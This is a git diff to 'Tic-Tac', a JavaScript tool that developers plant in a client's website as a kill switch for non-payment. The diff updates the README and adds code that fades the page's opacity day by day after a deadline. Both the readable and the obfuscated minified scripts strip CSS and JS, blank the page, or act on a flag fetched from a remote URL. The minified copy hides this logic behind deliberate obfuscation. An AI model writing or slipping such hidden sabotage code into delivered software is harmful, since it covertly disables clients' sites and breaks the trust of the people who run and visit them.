diff --git a/README.md b/README.md index daa2241..81b7d35 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,8 @@ # Tic-Tac -Put a deadline on a project or just activate/desactivate it remotely For personnals reasons (Never get paid on a project, etc...). +## Client not paid ? +Put a deadline on a project or just activate/desactivate it remotely For personnals reasons (Never get paid on a project, etc...), kill CSS, JS, show a whiteScreen or add opacity to the body tag and decrease it every day until their site completely fades away. **NOTE: "Am not responsible in the bad use of this project"** @@ -99,6 +100,10 @@ headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Typ ``` +### Another sources + +-[Decrease-opacity-feature](https://github.com/kleampa/not-paid) + ### Author: - [Sanix-Darker](https://github.com/Sanix-Darker) @@ -115,4 +120,4 @@ headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Typ -**🐼PANDA:** What's really coul with Tic Tac is that, it affect "any files" in your website, he just Bichakalla the user's rendering. +**🐼PANDA:** What's really coul with Tic Tac is that, it affect "any files" in your website, he just "Bichakalla" the user's rendering. diff --git a/js/tictac.js b/js/tictac.js index 300f04a..734ccd1 100644 --- a/js/tictac.js +++ b/js/tictac.js @@ -2,7 +2,6 @@ * [date_diff_indays description] * @param {[type]} format [en or fr] * @param {[type]} date2 [description] - * @return {[type]} [description] */ function date_diff_indays(date2) { @@ -26,7 +25,6 @@ * @param {[type]} condition [description] * @param {[type]} el [description] * @param {[type]} els [description] - * @return {[type]} [description] */ function killThatShit(condition, els){ if(condition){ @@ -50,9 +48,32 @@ //console.log("typeof whitescreen: ", typeof(whitescreen)); if(date_diff_indays(date) <= 0 ){ + + /* --------------------------------------------------------------------------------------------------------*/ + /* This code will decrease the opacity of the app.... + /* A Code from https://github.com/kleampa/not-paid/ + /* By kleampa + /* change these variables as you wish */ + var due_date = date; + var days_deadline = 10; + /* stop changing here */ + var current_date = new Date(); + var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate()); + var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate()); + var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24)); + if(days > 0) { + var days_late = days_deadline-days; + var opacity = (days_late*100/days_deadline)/100; + opacity = (opacity < 0) ? 0 : opacity; + opacity = (opacity > 1) ? 1 : opacity; + if(opacity >= 0 && opacity <= 1) { + document.getElementsByTagName("BODY")[0].style.opacity = opacity; + } + } + /* --------------------------------------------------------------------------------------------------------*/ + // Killing Css killThatShit(killCss, document.getElementsByTagName('head')); - // killing html css killThatShit(killCss, document.getElementsByTagName('style')); @@ -69,14 +90,12 @@ } } - /** * [checkDate description] * @param {[type]} date [description] * @param {Boolean} killCss [description] * @param {Boolean} killJs [description] * @param {Boolean} whitescreen [description] - * @return {[type]} [description] */ function checkDate(Array_parameters, remoteDead=null){ diff --git a/js/tictac.min.js b/js/tictac.min.js index 7be99ae..485fc42 100644 --- a/js/tictac.min.js +++ b/js/tictac.min.js @@ -1 +1 @@ -var _0x53f0=['open','GET','200','status','responseText','split','includes','true','toLocaleLowerCase','send','getDate','getFullYear','floor','getMonth','length','firstChild','nodeValue','parentNode','01/01/2020','getElementsByTagName','head','style','body','removeChild','script','undefined'];(function(_0x2d8f05,_0x4b81bb){var _0x4d74cb=function(_0x32719f){while(--_0x32719f){_0x2d8f05['push'](_0x2d8f05['shift']());}};_0x4d74cb(++_0x4b81bb);}(_0x53f0,0xda));var _0x43e4=function(_0x4b4a50,_0x5dfdcf){_0x4b4a50=_0x4b4a50-0x0;var _0xa35b82=_0x53f0[_0x4b4a50];return _0xa35b82;};function date_diff_indays(_0xa42ff1){var _0x48532f=new Date(),_0x157974=_0x48532f[_0x43e4('0x0')](),_0xdac408=_0x48532f['getMonth']()+0x1,_0x593cf5=_0x48532f[_0x43e4('0x1')]();return 0xa>_0x157974&&(_0x157974='0'+_0x157974),0xa>_0xdac408&&(_0xdac408='0'+_0xdac408),dt1=new Date(_0xdac408+'/'+_0x157974+'/'+_0x593cf5),dt2=new Date(_0xa42ff1),Math[_0x43e4('0x2')]((Date['UTC'](dt2[_0x43e4('0x1')](),dt2[_0x43e4('0x3')](),dt2['getDate']())-Date['UTC'](dt1[_0x43e4('0x1')](),dt1['getMonth'](),dt1[_0x43e4('0x0')]()))/0x5265c00);}function killThatShit(_0x4aa3dd,_0x3f438c){if(_0x4aa3dd)for(var _0x39aa3e,_0x2409d3=_0x3f438c[_0x43e4('0x4')];0x0<_0x2409d3--;)if(_0x39aa3e=_0x3f438c[_0x2409d3],null!=_0x39aa3e[_0x43e4('0x5')]){var _0x522acb=document['createTextNode'](_0x39aa3e['firstChild'][_0x43e4('0x6')]);_0x39aa3e[_0x43e4('0x7')]['replaceChild'](_0x522acb,_0x39aa3e);}}function doing_stuff(_0x31c9d8){var _0x2e4224=_0x31c9d8[0x0]?_0x31c9d8[0x0]:_0x43e4('0x8'),_0x520e23=!_0x31c9d8[0x1]||_0x31c9d8[0x1],_0x181e53=!_0x31c9d8[0x2]||_0x31c9d8[0x2],_0x125def=!!_0x31c9d8[0x3]&&_0x31c9d8[0x3];if(0x0>=date_diff_indays(_0x2e4224))if(killThatShit(_0x520e23,document[_0x43e4('0x9')](_0x43e4('0xa'))),killThatShit(_0x520e23,document[_0x43e4('0x9')](_0x43e4('0xb'))),!0x0==_0x125def)for(var _0x481ea2=document[_0x43e4('0xc')];_0x481ea2['firstChild'];)_0x481ea2[_0x43e4('0xd')](_0x481ea2[_0x43e4('0x5')]);else killThatShit(_0x181e53,document[_0x43e4('0x9')](_0x43e4('0xe')));}function checkDate(_0x2d6369,_0x45bcb6=null){if(_0x43e4('0xf')!=typeof _0x2d6369&&null!=_0x2d6369&&null==_0x45bcb6)doing_stuff(_0x2d6369);else if(null==_0x2d6369&&null!=_0x45bcb6&&_0x43e4('0xf')!=typeof _0x45bcb6&&_0x45bcb6[0x0]){var _0x22b21e=new XMLHttpRequest();_0x22b21e[_0x43e4('0x10')](_0x43e4('0x11'),_0x45bcb6[0x1],!0x0),_0x22b21e['onload']=function(){if(0x4==_0x22b21e['readyState']&&_0x43e4('0x12')==_0x22b21e[_0x43e4('0x13')]){var _0x2d6369=_0x22b21e[_0x43e4('0x14')][_0x43e4('0x15')](',');_0x2d6369[0x1]=!!_0x2d6369[0x1]['toLocaleLowerCase']()[_0x43e4('0x16')](_0x43e4('0x17')),_0x2d6369[0x2]=!!_0x2d6369[0x2]['toLocaleLowerCase']()[_0x43e4('0x16')](_0x43e4('0x17')),_0x2d6369[0x3]=!!_0x2d6369[0x3][_0x43e4('0x18')]()[_0x43e4('0x16')](_0x43e4('0x17')),doing_stuff(_0x2d6369);}},_0x22b21e[_0x43e4('0x19')](null);}else return!0x1;} \ No newline at end of file +var _0x3083=['script','undefined','open','readyState','200','status','responseText','split','toLocaleLowerCase','includes','true','send','getDate','getFullYear','getMonth','UTC','length','createTextNode','firstChild','nodeValue','parentNode','replaceChild','floor','getElementsByTagName','BODY','style','opacity','head','body','removeChild'];(function(_0x5544ba,_0x1a9934){var _0x5ac6b2=function(_0x4a8de6){while(--_0x4a8de6){_0x5544ba['push'](_0x5544ba['shift']());}};_0x5ac6b2(++_0x1a9934);}(_0x3083,0x84));var _0x5ef3=function(_0x292d82,_0x18dc41){_0x292d82=_0x292d82-0x0;var _0x5541f3=_0x3083[_0x292d82];return _0x5541f3;};function date_diff_indays(_0x16afd7){var _0x459f30=new Date(),_0x330d66=_0x459f30[_0x5ef3('0x0')](),_0x72a5a9=_0x459f30['getMonth']()+0x1,_0x3005ae=_0x459f30[_0x5ef3('0x1')]();return 0xa>_0x330d66&&(_0x330d66='0'+_0x330d66),0xa>_0x72a5a9&&(_0x72a5a9='0'+_0x72a5a9),dt1=new Date(_0x72a5a9+'/'+_0x330d66+'/'+_0x3005ae),dt2=new Date(_0x16afd7),Math['floor']((Date['UTC'](dt2['getFullYear'](),dt2[_0x5ef3('0x2')](),dt2[_0x5ef3('0x0')]())-Date[_0x5ef3('0x3')](dt1['getFullYear'](),dt1['getMonth'](),dt1[_0x5ef3('0x0')]()))/0x5265c00);}function killThatShit(_0x558099,_0x17b9c3){if(_0x558099)for(var _0x557a7a,_0x7cfd54=_0x17b9c3[_0x5ef3('0x4')];0x0<_0x7cfd54--;)if(_0x557a7a=_0x17b9c3[_0x7cfd54],null!=_0x557a7a['firstChild']){var _0x4bea22=document[_0x5ef3('0x5')](_0x557a7a[_0x5ef3('0x6')][_0x5ef3('0x7')]);_0x557a7a[_0x5ef3('0x8')][_0x5ef3('0x9')](_0x4bea22,_0x557a7a);}}function doing_stuff(_0xbdedad){var _0x34efd2=_0xbdedad[0x0]?_0xbdedad[0x0]:'01/01/2020',_0x37b14f=!_0xbdedad[0x1]||_0xbdedad[0x1],_0x56a878=!_0xbdedad[0x2]||_0xbdedad[0x2],_0x43072f=!!_0xbdedad[0x3]&&_0xbdedad[0x3];if(0x0>=date_diff_indays(_0x34efd2)){var _0x32907d=_0x34efd2,_0x52e653=0xa,_0x44dfa2=new Date(),_0x2d330a=Date[_0x5ef3('0x3')](_0x32907d[_0x5ef3('0x1')](),_0x32907d[_0x5ef3('0x2')](),_0x32907d[_0x5ef3('0x0')]()),_0x50de98=Date[_0x5ef3('0x3')](_0x44dfa2[_0x5ef3('0x1')](),_0x44dfa2[_0x5ef3('0x2')](),_0x44dfa2[_0x5ef3('0x0')]()),_0xd84c4e=Math[_0x5ef3('0xa')]((_0x50de98-_0x2d330a)/0x5265c00);if(0x0<_0xd84c4e){var _0x33d7fa=0x64*(_0x52e653-_0xd84c4e)/_0x52e653/0x64;_0x33d7fa=0x0>_0x33d7fa?0x0:_0x33d7fa,_0x33d7fa=0x1<_0x33d7fa?0x1:_0x33d7fa,0x0<=_0x33d7fa&&0x1>=_0x33d7fa&&(document[_0x5ef3('0xb')](_0x5ef3('0xc'))[0x0][_0x5ef3('0xd')][_0x5ef3('0xe')]=_0x33d7fa);}if(killThatShit(_0x37b14f,document[_0x5ef3('0xb')](_0x5ef3('0xf'))),killThatShit(_0x37b14f,document[_0x5ef3('0xb')](_0x5ef3('0xd'))),!0x0==_0x43072f)for(var _0x43f3ba=document[_0x5ef3('0x10')];_0x43f3ba[_0x5ef3('0x6')];)_0x43f3ba[_0x5ef3('0x11')](_0x43f3ba[_0x5ef3('0x6')]);else killThatShit(_0x56a878,document[_0x5ef3('0xb')](_0x5ef3('0x12')));}}function checkDate(_0x1e2d6d,_0x2309f7=null){if(_0x5ef3('0x13')!=typeof _0x1e2d6d&&null!=_0x1e2d6d&&null==_0x2309f7)doing_stuff(_0x1e2d6d);else if(null==_0x1e2d6d&&null!=_0x2309f7&&_0x5ef3('0x13')!=typeof _0x2309f7&&_0x2309f7[0x0]){var _0x20f23d=new XMLHttpRequest();_0x20f23d[_0x5ef3('0x14')]('GET',_0x2309f7[0x1],!0x0),_0x20f23d['onload']=function(){if(0x4==_0x20f23d[_0x5ef3('0x15')]&&_0x5ef3('0x16')==_0x20f23d[_0x5ef3('0x17')]){var _0x1e2d6d=_0x20f23d[_0x5ef3('0x18')][_0x5ef3('0x19')](',');_0x1e2d6d[0x1]=!!_0x1e2d6d[0x1][_0x5ef3('0x1a')]()[_0x5ef3('0x1b')](_0x5ef3('0x1c')),_0x1e2d6d[0x2]=!!_0x1e2d6d[0x2]['toLocaleLowerCase']()[_0x5ef3('0x1b')](_0x5ef3('0x1c')),_0x1e2d6d[0x3]=!!_0x1e2d6d[0x3][_0x5ef3('0x1a')]()['includes']('true'),doing_stuff(_0x1e2d6d);}},_0x20f23d[_0x5ef3('0x1d')](null);}else return!0x1;} \ No newline at end of file